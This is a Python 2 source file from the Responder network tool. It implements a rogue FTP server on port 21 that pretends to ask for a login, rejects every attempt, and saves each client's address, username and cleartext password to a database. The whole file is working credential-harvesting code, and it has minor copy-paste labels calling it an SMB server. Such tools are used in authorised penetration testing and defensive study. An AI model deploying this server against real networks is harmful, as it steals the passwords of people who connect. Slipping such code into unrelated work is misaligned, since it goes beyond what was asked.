core/servers/FTP.py
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import threading
from core.responder.utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import FTPPacket
class FTP:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1)
else:
server = ThreadingTCPServer(('', 21), FTP1)
t = threading.Thread(name='SMB', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting SMB server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
class FTP1(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(FTPPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].strip()
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(Packet))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].strip()
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(Packet))
data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+':'+Pass
})
else:
Packet = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(Packet))
data = self.request.recv(1024)
except Exception:
pass